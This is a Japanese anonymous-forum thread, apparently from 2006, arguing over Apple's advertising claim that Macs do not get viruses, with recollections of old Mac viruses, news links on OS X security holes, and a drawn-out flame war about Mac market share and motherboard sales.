MACはウイルスにかからない

だそうです。
ＣＭで言ってた

>>1
知らなかったの？

汚染を除去しました。

>>1
ドザ丸出しさん乙

俺はドザではないが、
あれには語弊があると思うよ。

MacOSがウィルスにかからないのではなくて、
MacOSに感染するウィルスがないだけ。
あのCM見るたびにMacOS向けウィルスが蔓延したら
どーすんだ、と思うし、CMうざいから実際そうなればいいと思う。
（俺以外）

ていうかなんのCMだ？

>>6
http://www.apple.com/jp/
トップページに出現

じゃあﾀﾑｹﾝ版で、俺以外のMac、ウィルスに感染して死ねッ!、ってCMを作ってもらおう。

>>7
ｻﾝｸｽ

よく考えれば、
OSXってInputManagersに潜伏されればすぐにやられるよな。

$ mkdir /Library/InputManagers
$ chmod 0755 /Library/InputManagers
$ sudo chown root:wheel /Library/InputManagers

無思慮に台詞でスレ立てするバカが居るから糞スレが増える

しかしこれは景品表示法違反ではないのか

健康体ですから

これに刺激されてウイルス増えそう。

Macにまともに感染するのを作ろうとしたら、やっぱりWindows経由で感染するものにしないとな。
　Windowsはネットにつながっている（かもしれない）Macへの感染の踏み台に利用するだけ。
両方のOS用のコードを書かなきゃいけないから手間は２倍。効果は５％以下。



だれがつくるんだ？

あのCM、最後にMac側もぶっ倒れて、「備えあれば憂いなし」てな具合に
アンチウィルスソフトの会社のCMに続ければいいのに。

なんつーか。MacOS（クラシック）の頃は、Macが一番ウイルスが多かった（しかもタチが悪い）イメージがあるんだけどなぁ。

「なんか、勝手にやってる」のはMacの専売特許だったんだが…時代は変わるな。

>>17
「Macが一番ウィルスが多かった」なんて時代は存在しないと思うが。

>17
その頃はウィルスというより、たちの悪いジョークソフトの方が多かった稀ガス。
笑えたNutronDiscoDancerとかﾅﾂｶｼｽ

>>19
あったあったｗｗ
何も知らずにノートンだと思って起動して、
HDDを破壊しています。キャンセルできません。
とかでてきてビビったｗ

昔は，フロッピ経由で感染するものだったからな．
いまはさういふ牧歌的な時代ぢゃないんだな．

俺はあれを見て、
「Macならウイルスフリーでnyが出来る！」
と思い込む奴が現れないかと…

…心配しない。

何期待込めてレスしてんだかw
俺はmacを使って５年の間一度もウィルスとやらに脅かされた覚えはない。
よって、>>1は正しい。

Windows用のウィルスがやってきたことは幾度とある。

会社のメールで流した馬鹿がいたことはあったけど
ウイルスがきたことなんてその一度しかないな。
ウイルスにやられたって話は何度か聞いたことあるけど。
Q2ウイルスやMSブラストとかそんなのに引っかかってる馬鹿が
身近に実在することに笑った。

哀Podにウィルス混入して謝罪もしない糞企業が
よくもそんな事言って退けられるな。

ドザって、どうして
知識もスキルもない糞レスばっかりなのかね。

アポーの英語のページも読めないらしいしｗ

英語どころか日本語も読めないさ。

んで、そろそろMACってのがなんなのか教えてくれよ。
ここはMac板なわけだが。

どこかのデザイン雑誌のCD-ROMにウイルス混入してた事あるよね。
あれWin用のウイルスだったのかな？
それとも旧Mac用ウイルス？

>>30
いくらでもある

>>29
http://d.hatena.ne.jp/keyword/MAC

重複につき誘導

Appleの新CMに関する先行スレはこちら
どうも、マックです！
http://pc7.2ch.net/test/read.cgi/mac/1163213856/


ウイルス、セキュリティに関する話題はこちら

Macのウイルス報告スレ
http://pc7.2ch.net/test/read.cgi/mac/1112695380/
Mac de セキュリティしま専科 Part3
http://pc7.2ch.net/test/read.cgi/mac/1135081991/


終了

>>33
きんもー

コンピュータウィルスが初めて世の中に知られた頃の対象は、マックだったんだけどなぁ
不揮発性メモリの領域に巣食う奴。

OS7.5の頃からノートン使い続けてきたけどいまだにウイルス１件も引っかからず虚しい気分でいっぱいです

>>29
ここはmac板だが。

>>36
OS7.5ぐらいの時期にAutoStartって奴が流行らなかった？

>>38
AutoStartはOS8以降だった
俺も職場と自宅のMacがコイツに感染したよ
ﾅﾂｶｼｽ

ウイルスが巣食う穴があるとして、その穴がWinとMacじゃ違うんだから。

>>39
そうだったか？適当でｽﾏｿ
OS8は出た当初むちゃくちゃ不安定だったので、7.5を使い続けたからなぁ。

最近のMacはウィルスにもシカトされてるからな

　

ホントにMacがウイルスに強いと思ってるとしたら痛い

でっていう

Macがウィルスに強いというか、Windowsが糞すぎるというだけの話。

っていうか意図的に穴を作り過ぎてぐだぐだと言う。

ウィルスって結局マッチポンプなんだろ？

Macじゃ商売にならんからな。

アンチウイルスソフトの試用版を入れても
試用期間中に1個もウイルスが捕まらないのだから
製品版が売れるわけない。

>>51
ClamXavあるしな。

このスレ開いたらノートンが反応してたんですが？？

実際のところアンチMacの誰かが作らんかと期待してる。
「おいおい無いんじゃなくて作らねぇだけだよ」だなんて
「オレはやれば出来るヤツ」みたいでそれこそ胡散臭い。

>>51
話がずれてるぞ。
上の連中は、ウイルスはマッチポンプというネタ話を前提に、
Macでは商売にならないからウイルスを作らないのだと言っている。
この場合、
商売にならないというのはMacのマーケットが小さいからという事。

>>54
期待してどうする。作る奴が居ないに越した事は無い。

最近のＣＭはやっぱりマックはウィルスにはかかりませんって誤解する人思うけど。
でも実際どうなの？マックのウィルスの数が少ないだけなんでしょ？
あとマックとかだったらいっぱい変なのダウンロードしても
トロイとかスパイウェアもらわないですむの？

Windowsでセキュリティホールをふさぐパッチがでてから、
そのセキュリティホールを利用するウイルスが出現して流行ったことがある。

このことから、セキュリティホールが一つでもあれば、
たとえそれを防ぐパッチがすぐに出たとしても、
そのセキュリティホールを利用するウイルスが出ることが分る。

Macでもセキュリティホールはいつも出ているので、
当然Macでもウイルスにかかる。

>>56-57
書く前に読んで考えろ

セキュリティホールが見つかったと発表されても、
そのセキュリティホールを利用したマルウェア（悪意あるソフトウェア全般）
は見つかっていないのがMacの現状。
しかもセキュリティホールとして報告されるものは、
サーバとして使っていない限り関係ないようなものも多いようだ。

>>56
「変なの」というのが例えばP2Pで流通しているようなファイルなら、
それらのファイルの源流はどこかというとWindowsのnyやShareで、
そこに仕込まれているマルウェアもWindows用というのが現状。

何にせよ、今の一連のＣＭはとっととやめてほしい。

無知な人間がコンピューター使えばウィルスにかかる
別にOSとかカンケーないと思うが
これは単純に使う人間の能力の問題でしょ

でも
リスク承知でみんなWindows使ってるんでしょ？

OSXのウィルスが、今後、どんなにたくさん出てきたとしても
Windowsには遥かに及ばないと思いますが。残念ながら。

そういう意味で、たとえそういう状況になっても
対処し易いと私は考えていますがね。

セキュリティのエロいヒト、今後の予想でも聞かせておくれｗ

>>60
US本社に英語でメールすれば？
日本支社に言っても埒があかないと思いますので

>>61
よく考えて書けよ。
最初にOSとかカンケーないと書きながら対処しやすいとか書いてるし、
まあなんていうか、あれだ。
何で君のような人に限って行数も多くて空行もたくさんはさむんだろうな。

多くても対処しやすいから、結局変らない。
だからOSなんて関係ないって事でしょ。

何で君にまで説明せにゃならんのかわからんが、
>>61の最初の３行における「OSなんかカンケーない」とは、
「どんなOSを使っても等しくウイルスの脅威はあり、
　OSよりもユーザーの賢い対処が重要である」という事。
だから、あるOSはウイルスに対処しやすいとか
あるOSではウイルスの数は増えないだろうとか書くのはおかしな事。

「どんなOSを使っても等しくウイルスの脅威はあり、
　OSよりもユーザーの賢い対処が重要である」という事。

↑これと↓これは、矛盾しない。

あるOSはウイルスに対処しやすいとか
あるOSではウイルスの数は増えないだろう

Fuck'n

ソフトウェアアップデートで「X11なんたらかんたら」ってダイアログが出まくる。
X11何とかなんて聞いた事もないし、俺のiMac終了の悪寒。。　orz

OSX10.4用のウイルス作成はかなりハード。

　同社はNetscapeの邪魔をするため，（結果的に法を犯して）未成熟のInternet Explorer（IE）をWindowsの奥深くにバンドルしてしまった。
この行為のために丸10年たった今でも，同社は定期的に発見される深刻なセキュリティ上の欠陥という形で，代償を払い続けている。

　LinuxやMac OS Xといった現代のOSは，厳格なセキュリティ・モデルのもとで動いている。
そこでは，管理者権限を持つユーザーでさえも，システムに害を及ぼす恐れのある作業を実行する際には，適切なログオン作業をしなければその機能へのフル・アクセスが認められない。
この種のセキュリティ・モデルは，ユーザーを自分自身から守ることになる。そして，これはMicrosoftが何年も前にWindowsに追加しておくべき機能だった。

　Windows Vistaで，Microsoftはこの種のセキュリティ・モデルに歩み寄った。この機能はUAP（ユーザー・アカウント・プロテクション）と呼ばれている。
だが，ここでわれわれが話題にしているのはMicrosoftだ。彼らはUAPを完全に台無しにしてしまった。
http://itpro.nikkeibp.co.jp/article/COLUMN/20060510/237373/

>>68
X11ってのは、X Window Systemの事。
http://www.apple.com/jp/macosx/features/x11/

>>66
いずれかのOSではウイルスの脅威が少なくて対処しやすいなら、
OSはカンケーあるだろ。

最近のＭＡＣのＣＭ、なんかキモイ。
「僕はマック！」
おぇぇーー
「マックはウィルスは大丈夫」
おぇっ、おぇぇーー

馴れ馴れしい勧誘電話みたいだ・・

ああ。俺も気持ち悪いと思っているから、
下がっているスレに上げで力いっぱい主張しなくてもいいぜ。

「MACはウイルスにも相手にされない」だろｗｗｗｗｗｗ

ところでさっきからMACと連呼しているが、それは何だい

>>72
なんでそんなに必死なの？
それとも、これが噂に聞くGK?

バカはWinだろうかMacだろうが
何を使っても同じってことでしょｗ

未だにP2Pでの情報流出が止まらないんだから
飲酒運転もだけど（日本てアル中大杉ｗ）

あんな挑発的なCM作ってたら
マック用のウィルス作ってやろうって奴が
数人くらいは現れそうな気がするな

>>77
何でGKなんだ。Windowsに肯定的な事を書いているならともかく。

必死っていうか、子供でもわかりそうな初歩的な理屈が理解できずに
つっかかってくる人が居るので、説明してあげているだけなんだけどねえ。

OSはカンケーある。当たり前。
普通、別のOS用の実行ファイルは実行できないわけだしな。
現時点でMacを使っていれば
ウイルス・マルウェアの被害に遭う可能性がとても低いのは事実。

もちろん、それはそれとして、
ユーザーの心得の重要さというのは確かだがな。

つーか61みたいなぱっぱらパーな文章にコメントしたのが間違いだったよ。

>>65
キミの主張がよく分からないが・・・
明確に自分の立ち位置示してよ
単に言葉尻をとらえるだけでなくね

自分の言葉で語ってくれや
せっかくの旬なスレなんだからさ

>>80
失礼、語ってくれたね
了解した

バカを殺すウイルスが蔓延したらいいと思う。



俺が死んじゃうかららめぇ。

ウィルスからすらシカチされてるなんてカワイソウ

>>29,76
化粧品のメーカーじゃないかな。(´ΦωΦ`)

P2P系のウィルスなんて素人でも簡単に作れる。
なんせ使用者がトリガーになってバイナリ起動してくれるんだから。
このレベルならOSの技術仕様なんて関係ないわな。
しかもこの手が一番記事になりやすく被害も大きい。

こわいですねえ。

OSの仕様が関係ない事もない。
たとえば実行ファイルのアイコンを
標準フォルダのアイコンに偽装できないようにすれば、
被害はけっこう減るんじゃないかな。
あと、拡張子はもちろんデフォルトで表示、
または実行ファイルはそうだとわかりやすいようにバッヂなどを出す。
初めて起動する実行ファイルには認証が必要なようにする。
長いファイル名を省略表示する時も拡張子は目立たせる。
HTTPサーバなどの機能をアプリケーションが起動させ
外部と通信しようとしたらブロックして警告する
とかね。
やれる事はあると思うよ。
Vistaは実際、認証関係をガチガチにしてるんでしょ？

Vistaのセキュリティ機能は慣れるのに時間がかかりそう。
けっきょく、警告ダイアログをよく見ないでOKクリック連発の
ヒトも増えそうな感じはあります。まあ、これはOSXでも同様ですけど
なにかあっても、OS自体の堅牢性は上がっていると思いますが。

で、最後は使う人次第ってことでｗ
今時（仕事データ入ってるPCで）P2Pする層に
何か言っても無駄なんだじゃないだろうか。

しかし、きれいに分離するのも難しいよね。
何台パソコン必要かって話に。

VistaでUAPを採用、つまりUNIXライクなOSのセキュリティモデルに歩み寄った訳だが、結局IEだのActiveXだのWMAだかPだかみたいな、いろんな意味で糞なものが強制バンドルな訳だからね。
たぶんもう終ったOS。

んでも、対MACの悪質なウイルス撒かれたら、死亡するヤツら多そう
抵抗力なさそうだもん

> 結局IEだのActiveXだのWMAだかPだかみたいな、いろんな意味で糞なものが
何が糞なのか知りませんが、
それらは、良く使われているものですよ？
Macなんかよりもね。

>>92
よく使われてるからｲｲとか正しいとかってそういう思考パターン（ry
ウイルス作者のつけ込む隙を作ってるのがなにか考えてみ？
そういう造りのOSだってこと。

良く使われているからWindows使ってんだもんなっ？>92

>>78
それは有るかもね

ウイルスの定義によるよなあー。
Torrentだって、知らない人が「ファイルを受信するもの」と思って使ってみたら
実は自分からもデータを送信してましたっていう。
「ユーザーに想定されない動き」は総じてウイルスかっていうとそうでもないし。

もう、マック向けのセキュリティソフトウエアは売れないんじゃない？
そして、いざ蔓延したら即シボンヌ。

一方ロシアはアンチウイルスソフトが期限切れしているPCを狙った。

>>97
セキュリティソフトウェア即ちアンチウイルスソフトではないし。
以前から、おおかたのMacユーザーには
Mac用ウイルスがほとんどいない事は知られていたわけだし、
承知の上でアンチウイルスソフトを買っている人も居るわけで。

あと、
基本的に、アンチウイルスソフトは既知のウイルスに対処するものなので、
アンチウイルスソフト入れてれば大丈夫とか思っている人は、
格好の餌食ですよ。
ネットにパソコンの中身を公開されちゃって悲惨な目に遭った人たちも、
何かのアンチウイルスソフトは入れていたんじゃないかと思う。

同意

で、そのアンチウイルスソフトはWinユーザーから
頂いたファイルを転送して配布する時に広めない為に使うって人もいるしね。

>>54
http://kernelfun.blogspot.com/search/label/macosx

Mac OS Xに危険なセキュリティ・ホール，Webアクセスで被害に遭う恐れ

http://itpro.nikkeibp.co.jp/article/NEWS/20061122/254680/

というかドザもいいかげんOSXは基礎システムがUNIXだから
中でのファイル管理システムが固くてWinみたいに侵入したら
いじり放題、踏み台作り放題じゃないってのをわかれ。

>>103
それはウイルスじゃなくね？

つーかOSX用ウィルス存在するんだが？

>>106
マジで！！！！！！！！！！！

>>104
それはちょっと違わないか？

普通にアプリケーションの実行が可能なんだし
開発も可能なんだしそもそも
「Flash9 player」とかでやりたい放題できるんじゃないですか？
ようするに「スキミング系ウィルス」はMac用だって誰でも簡単に作れるってこと

ウィルスってのは
「ここからリンクしてダウンロードできるファイルを全面的に信用してインストールしてください」
って文章が本質なんだから

ウィルスに感染しないからMac買ってって宣伝文句でMac買う人は
つまりウィルスに感染したりフィッシングに引っかかりやすい人だってことで狙われそう。

>>109
わかったから、作って広まってから出直せよ。

あの CM まずいよ。いくら PC ユーザーに注目してほしいからといっても。
Mac を買って最初に入れるソフトが Disinfectant だったような時代を
Apple は忘れてはいけないと思う。

ハッカーに無視されるマッカー哀れw　といったところだろ

マゾじゃないんで今後もずっと無視しといてください (><)

ITmedia エンタープライズ：Mac OS Xもアドウェアの標的に
http://www.itmedia.co.jp/enterprise/articles/0611/24/news013.html

>Mac OS X向けアドウェアのコンセプト実証サンプルを入手したとF-Secureが報告。こ
>っそりユーザーアカウントにインストールすることが可能だという。

>>112
ハッカーってコンピューターテクノロジーに精通した人の事だよ。
Macを否定する理由も無いし、いろいろなサイトで普通にとりあげられてる。

勘違いしないで欲しいんだが、
MacユーザはWindowsを別に嫌いな訳じゃないんだよ。
マカとかドザとかいう人たちが宗教戦争してるだけで。

おまえも、ドザに影響されてMac板で煽りやってるよりも、
もうちょっと為になるサイトでも回ってるほうがいいぞ。

俺だいっ嫌いですけど。

〜♪アップルのマヌケな設計はお家芸♪初期不良は伝統芸♪故障は日常茶飯事♪
MACはウイルスがないのではなく、分からない。発見できない、理解できない
それを買うのは立派な低脳糞アホバカマカー♪〜

>>117
おまえが何も理解してないのだけはよくわかった

>>114
いやだから可能なのはアタリマエ

しかしそんなものを仕掛けたところで、魚の居ない湖で釣り糸を垂れるような話。
そんなバカは居ないってことさ。

マ　ッ　ク　ユ　ー　ザ　ー　が　ど　れ　だ　け　少　な　い　か　分　か　っ　て　る　の　か　？

ああ、いや、これは汗だ。涙じゃない。

どれぐらい少ないんでしょうか？

コンシューマーレベルでMacのシェアと大体の人数ってどんなもんだろうか？

マックユーザーって一人で３〜４台持っているよ。
その内１台くらいしか実稼働していなから出回っている数より本当に少ないんだよ。

>>120
一割ぐらいかねえ。

たしか日本ではマックが一日１０００台ずつ売れてて
一位のNECか富士通のマシンが一日８０００台とかそんなだっけかな？
PC全体だと一日３万とかそんなだっけか。

まあ、富士通とかNECとかでわかるように企業やらなんやらの
置き換え中心で「あービジネスマシンはWinだよなーw」って感じだけど。

>>119みたいなドザの人はその辺走ってる車見て
「ほっら！ほっら！見って！見って！　アウディ少なっ！」って
叫べば自分のカローラがかっこよくなると思ってるような輩だから。

なぜ企業がパソコンを買うと
家庭でパソコンが買われていないと
脳内変換するのだろうか？

誰もそんな変換していないよ。

ネットだとMacユーザーもよく見かけるね。

あとあれかな『マックは日本で一日に千台のペースで売れてる』って話題が出た時に
シェア厨が大喜びで「ほっら！マックなんて1/30！w」ってやってたんだが、

「ふーん、ところでPC自作するヲタク用にマザーボードって一日平均何枚売れてるの？」

って話題になったら顔に縦線入って逃げてった。
MBの売り上げなんて大きく見積もっても週末の秋葉で合計１００枚とかそんなだしなぁ。
全国平均したら１００枚／日を割り込むのは確実で。

そうすると単純にマックユーザーは自作PCヲタクの１０倍以上いる計算になるんだよね。

> 「ふーん、ところでPC自作するヲタク用にマザーボードって一日平均何枚売れてるの？」

なんでそこで、自作に限定しているわけ？
その意図はなに。なんか卑怯者の匂いがする。

http://www.himajin.jp/mt/ei/2006/11/mac_4.html
> 日本のMacの販売台数は6万2,000台
一日あたり170台・・・

秋葉の売上台数の情報源がどこか知らないが、
仮に秋葉だけで週末100枚だとしても、
全国で見ればその10倍は軽く超えるだろうし、
Macの売上とほとんど変らないだろうね。

最近はネットショップが盛んだから秋葉原だけの
販売数で全体を計るのはナンセンス。

日本はiPodとMacが結びついていないような気がする。
OSX知らない人が結構多いし（OS9の方が知名度高いかも）。

とにかく日本法人はプロモーションが下手すぎる。
昔は女性ユーザーが多かったのに今は見事に手放して
しまってる。実物を女性に見せると反応は凄くいいのに
認知度が低いから存在すら忘れられているのだろう。

>>129
いつも知名度の低さには困らされる…
Windows知ってるのに「Macって何？」って人が世の中にはあまりにも…

>>126
>MBの売り上げなんて大きく見積もっても週末の秋葉で合計１００枚とかそんなだしなぁ。
>全国平均したら１００枚／日を割り込むのは確実で。

んな少なくねえよw
お宅の国は少ないからそうかもしれないけど。

【MB】[1] Mother board

【MB】[2] MacBook

ファビョる前に理解しておこうw

>>131
日本語が理解出来ない131
恥辱にまみれる131
テラ恥ズカシスゥwww

>>129
＞昔は女性ユーザーが多かったのに今は見事に手放して
＞認知度が低いから存在すら忘れられているのだろう。

おかしな理屈だね。
ボケでもない限りかつて所有していたMacという存在を忘れることはないでしょう。
まわりの「認知度が低いから」って自分の記憶まで薄らぐものでしょうか？

＞（OS9の方が知名度高いかも）
知名度はともかく、OSXが受け付けないのでしょうね。
大ヒットしたiMac, iBookのユーザーが売り場で今のMacを見ても惹かれないのでしょう。

そういえば「消費者はバカだからツルテカ液晶を買っていく」という意見が昔優勢でした。
ところがいざMacBookにツルテカが採用されても風向きは変わりませんでしたね。
あのころ主張していた人は自己批判してくださいw

>>134
確かに昔ののほうがデザイン良い。
http://www.youtube.com/watch?v=MjIQYa5nr74
なんでこういうデザインやめちゃったんだろ。

---
2005年 国内パソコン市場のメーカー別出荷台数(出典：IDC Japan 3/2006)
順位メーカー出荷台数シェア前年成長率
1日本電気(株)300万9000台20.6％11.2％
2富士通(株)260万9000台17.9％1.1％
3デル(株)180万2000台12.3％19.6％
4(株)東芝132万4000台9.1％18.3％
5日本ヒューレット・パッカード(株)97万7000台6.7％17.1％
9アップルコンピュータ(株)36万1000台2.5％24.7％
---
これが昨年の日本国内での出荷台数なわけだが。(ソースはIDCなので信頼できる）

６万２千台ってどっから来たの？


＞（自作用マザーの売り上げが）仮に秋葉だけで週末100枚だとしても、
＞全国で見ればその10倍は軽く超えるだろうし、

・・・すまん。秋葉と日本橋以外のどこでそんな大量のマザー売ってるのか教えてくれ。
いまは通販でマザー買う奴が９割なんだよ！とか言い出すのか？

>>134
もしもMacBookがノングレア選べるならノングレアを買う人の方が多いと思うのだ。

>>135
バリーホワイトが歌ってるよ。渋w

>>136
ビックヨドバシ各店とか。
つかマザーの販売枚数に対する感覚がかなりずれてると思うよ、お宅。

>>136
人口分布からいって東京都は日本の一割。
西新宿にもパーツショップはあるし、秋葉と非秋葉が1：10というのはそのいう事情から算出したのでは。
もうちょっと秋葉率高いとおもうけど。

>>137
ノングレアがいい、とかいう話じゃなくて、
昔、売り場でiBookが受けないのは消費者がバカだからツルテカになびく、という意見が多勢だったの。

一般受けするようにツルピカ液晶にしたんじゃないの？
しかも、Windowsまで走るようにしちゃったよ！

MacBookの場合、ツルピカ以前の問題が有るっちゃ有りますけど。

>>142
はい、ですから売り場で一般受けするよるのはツルテカ液晶であって
iBookは真のユーザービリティを重んじているからバカな消費者に理解されにくいと。
だがこの度、MacBookもツルテカを採用したところバカな消費者を呼び寄せることに失敗してると。
だから昔主張してた人は新しい言い訳考えなさい、ってことです。

>>143
んー？そうかぁ？十分馬鹿なユーザー獲得してると思うけど？
それとも、馬鹿なユーザーを呼び寄せてるというには数が全然足りないと言っているわけ？

俺は十分だと思うよ。

>>144
スレの流れとしてMacが低迷しているということを受けて言ったのです。

＞俺は十分だと思うよ。

売れているか/売れていないか、という問いに対して
「十分です」というのは回答を避けてた答えです。

年３６万台売れてるもの捕まえて”低迷”ねぇ・・・

PC自作は知ってのとおりもっと低迷してるから自分の足下の心配した方がよくね？

>>145
>売れているか/売れていないか

これこそ避けて通らなきゃいけないんじゃないか？
なんか、馬鹿そうだからMacBook買え。

また「既に十分」論者ですよ。どうしてこうﾜﾗﾜﾗ湧いてくるのかねぇ。

オレ「結局ツルテカ液晶にしたところでバカな消費者を引き寄せられなかったね」
マカ「もしもノングレアが選択できたらノングレアの方が売れる」
オレ「そういう話じゃなくて・・・」
マカ「一般受けするようにツルピカにしたんじゃないの？Winも走るよ」
オレ「ですから○○××・・・」
マカ「俺は十分だと思うよ」

マカ「売れているか/売れていないか＜これこそ避けて通らなきゃいけないんじゃないか？」

もー訳わからんwwww　ズレまくりwww

　ｍ ｎ　_∩　l;;;;;;;;;;　　　　　　　　　　　　;;;;;;;l　　 ∩_　ｎ ｍ
⊂二⌒　__） l;;;;;;;;;;'　　　　　　　　　　　　.;;;;;;l　　（　_⌒二⊃
　　　＼　＼ k;;;;;;;'　　''''''　　　　　'''''''' 　 ;;;;;l　　 ／ ／
　 　　　＼　＼ヽ;; 　（●）,　　　､（●）､.::;; ﾉ ／　／
　　　　　　＼　.∧. /// ,,ﾉ(､_, )ヽ､,, /// l／　／ 　　　
　 　　　　　　＼　ｷ　 　 ´ﾄｪｪｪｲ｀　　　 /　／ 　　　　　　
　　　　　　　　　＼ ヽ 　　|,ｒ-ｒ-|　　 ／ ／ 　ホシブドウー
　 　　　　　　　　　＼｀ヽ、 ﾆﾆ´ _／ ／　　ホシブドウー
　　　　　　　　　　　　）　三　三　　 /　　ホシブドウー
　　　　　　　　　　　ノ　　　 ヽ　　（/
　　　　　　　　　・く＿ノ⌒　　＼_・_)
　　　　　　　　　　　/　　　　　　/

>>136
> ・・・すまん。秋葉と日本橋以外のどこでそんな大量のマザー売ってるのか教えてくれ。
> いまは通販でマザー買う奴が９割なんだよ！とか言い出すのか？

ふつーにかんがえような。ふつーに。常識的に。

日本人は日本国中に散らばっているんだ。

マザーボード買いに遠出をするとしても隣の県までぐらいしかいかんよ。
交通費かかるからな。

>>149
やっぱ馬鹿じゃん。MacBookPro買え。ツルピカのな。

岡山から秋葉にこれないもんな。
地方の自作ヲタは量販店かネット通販か。
ヲタと言っても地方だと冴えねえなw

日本橋からも秋葉原からも遠いような地域のPC自作マニアなんて
絶滅危惧種というか、都落ちして田舎に落ちてったヲタの末路じゃないのか？
県に片手で数えるぐらいしかいないんじゃね？

いまどき、地方でも小さいパソコンショップやフランチャイズ店に
マザーボードくらいたくさん置いてるぞ。

あんなもん見ても萎えるわ

気の小さそうなヤツが物色している光景。
こういうヤツが家帰って２ちんねるでマク板に来て悪態ついてゆくのか！
と思ったら可愛く見えた。

そして自作ドザは『地方の小さいパソコンショップやフランチャイズ店』でも
毎日数枚ずつマザーボードが売れてるよ！だからジサカーはいっぱいいるよ！
と主張w

たまに家電買いに行くと郊外家電の自作コーナーガラガラなんだがw

>>154

お前の考えは良く分った。
もちろんAppleストアも無いような地域のマカもからかうんだろうな？

>>158
> たまに家電買いに行くと郊外家電の自作コーナーガラガラなんだがw

それは単純に人の数の違い。

>>158
> そして自作ドザは『地方の小さいパソコンショップやフランチャイズ店』でも
毎日数枚ずつマザーボードが売れてるよ！だからジサカーはいっぱいいるよ！
> と主張w
>
> たまに家電買いに行くと郊外家電の自作コーナーガラガラなんだがw

上の主張（地方の小さい〜）に、下の主張（〜ガラガラなんだが）で反論しているつもりなのだろうが、
ぜんぜん反論になっていないぞ。というか上と下の主張は、矛盾無くつながってしまう。


たまに家電買いに行くと郊外家電の自作コーナーはガラガラなんだが、
そういう、『地方の小さいパソコンショップやフランチャイズ店』でも
毎日数枚ずつマザーボードが売れてるよ！だからジサカーはいっぱいいるよ！

ガラガラどころかマザボやCPU見てるやつみたことねぇ。

いや、いるんだけど存在感薄すぎて半透明だから気づかないんだ
よく目をこらしてみてごらん、ショーケースの前にウヨウヨとｗ

１クラス３０人いたらコンピュータがない家はいまどきないだろうし、
まー「うちマック〜！」ってユーザーも３人ぐらいはいるだろうけど

家のマシンは自作〜！なんて奴ぁ、君一人。

わかるだろ、普通に。

それどこの脳内教室の話？

普通に高校の時クラスに2人いたが

Macがウィルスにかからないことがくやしいなら、
Mac買ってMac用のウィルス作者になればいいじゃん。

Macはウイルスにかかると言う
技術的な理由と確信があるから
悔しくないのでMac買う必要も
ましてやウイルス作家になる必要も無い。

>>168
悔しいときにきまって「悔しくないやい」っていう典型

>>169
じゃあ、なんて言えばいいんだよｗ

>>168
誰かが作らないとウィルスが生まれないじゃん。
わずかにあっても感染力がないのとかばっかなんだから、
アンタがスゴいの作って流行らせてくれよ。

>>170
技術的な理由と確信ていう部分を説明しなければならない
170は最後に笑っているふりをしているが、ホントは泣いてるんだろう。

はい、そこなんです。

> 感染力がないのとかばっかなんだから、

つまり、あなたは、感染力が無いウイルスが存在すると、
そう言い切ってしまったわけなんです。

古○任○郎でした。

ねぇみんな。ウイルスって感染するんだよ。知ってる？

>>173
うん。それが悩みなんだよ。
ほんのちょっとだけ感染力のないウィルスが存在するんだよなぁ。
ﾁｮｰ悩んでる。
そういうのが噂になっても、実害がないままパッチで無効化されちゃうしさ。

Windowsみたく、簡単に感染して致命的な被害を出すウィルスが、
山ほどある環境がうらやましい。

これが認められたので、もうあんたは用済みｗ

168 名前：名称未設定[sage] 投稿日：2006/11/28(火) 23:33:16 ID:LzB9IrAE0
Macはウイルスにかかると言う
技術的な理由と確信があるから
悔しくないのでMac買う必要も
ましてやウイルス作家になる必要も無い。

ウィルスはあると認めたよ。

>Macはウイルスにかかると言う
>技術的な理由と確信があるから

Macがウィルスにかかるということは認めてないじゃん。

>>177
日本語でおｋ？

>>176
おまえの書き込みを誰が認めたんだwwww

>>179
俺が認めましたが何か？

>>178
だからさ、感染力のないウィルスが、
伝聞ではあるらしいけど、感染力がないから、
「Macはウィルスにかからない」なんだよ。
困ったなぁ。

一般的にたとえばメールで添付されてきたウイルスを
手動で実行しても、「ウイルスに感染した」と言うわけだが？

替わりに言います。






ごめんなさい。

>>182
うん、そうだろうね。
だから、手動で実行して被害をだすウィルスをアンタがMac用に作って、
マカーの間に流行らせてくれればいい。
それでアンタのいうことは実証されるよ。

まぁ、普通に感染力が高いウイルスもあるわけだがな
http://internet.watch.impress.co.jp/cda/news/2006/02/17/10928.html

いまさら、有る無いという議論をする意味は無い。

> だから、手動で実行して被害をだすウィルスをアンタがMac用に作って、
すでにあるだろｗ お前もあるって自分で認めたし。

>>185
うん。Mac用のウィルスはある。
でも、流行ってもいないし、実害もでてないからなぁ。

もうこの結論が出ただけで十分だろ？


うん。Mac用のウィルスはある。

>>186
あるけど、流行ってない。てか、実害も聞いたことない。
この問題の解決は、アンタが作ったヤツを流行らせればいいんだよ。
マカーなら、誰でも常に感染の危機を感じて、
油断してるとすぐに被害で広まっちゃうようなの、作ってね。
研究すれば、マーケティングとかの社会勉強にもなるかもよ。

>>180
俺はおまえのウイルスに対するスキルを見せろといっている
伝聞に頼るなよ

ttp://internet.watch.impress.co.jp/cda/news/2006/03/02/11084.html

↑ほら、実害がないままパッチがでちゃったよ・・・。
Macはウィルスにかからないなぁ。

ウイルス製作が犯罪じゃなかったらやるんだけどな。

そういやこういう事件あったな。

Mac OS Xウイルス作成コンテスト、法的責任問題で中止に
http://www.itmedia.co.jp/news/articles/0503/29/news005.html

>>192
ウイルスを製作てみろ！っていうのは、
そのウイルス作成コンテストを実施したアフォな
会社と同レベルだな。

Macならウィルスは大丈夫ってのは、
飛行機は自動車より安全だから、飛行機は安全ってぐらいの話。

これを聴いて、
飛行機は安全だ。
と思うか、
飛行機も過去に何度も墜落している。
もちろん自動車事故より少ないが、それでも安全とは言えない。
と思うかの差だ。

世界中のMacを陥れてから「ほれ見ろ」って言えよと思う。それも作者限定で。
想定の範囲内ではウイルスは作れるんだから、例え広まったとしても「当然だなー」くらいにしか思わないけど。

>>194
自動車より飛行機のほうが安全なのは事実だろ。
飛行機にも事故があるからといって、飛行機は危険ってことさらに騒ぐ必要はない。
そんなに安全にこだわるなら、自動車なんかに乗ってるほうがおかしい。

>>194の話は、ようするに事故件数の話な訳だけど、
もうひとつ、
自動車を運転する人の中にはとんでもない人がいるって事。
飛行機の場合、厳格な管制体制のもとで運行されているから、実際に安全な訳だ。

>>195
ウィルスなんて、Automatorでも作れるよね。
Dashboardなんて、ウィルス作者のための環境みたいなもんでしょ。

ただ、感染しないし、流行らない。これが一番の問題だな。

Macの場合、古いOSは切り捨てるしな。

★キモヲタ粘着ドザ様屁★


マジでウイルスというものにかかって見たい
出なきゃノートン入れた貝がない・・・・
キモヲタドザの方、MacWorld壊滅させるつもりで怨念一献、強力なのを作ってくれ
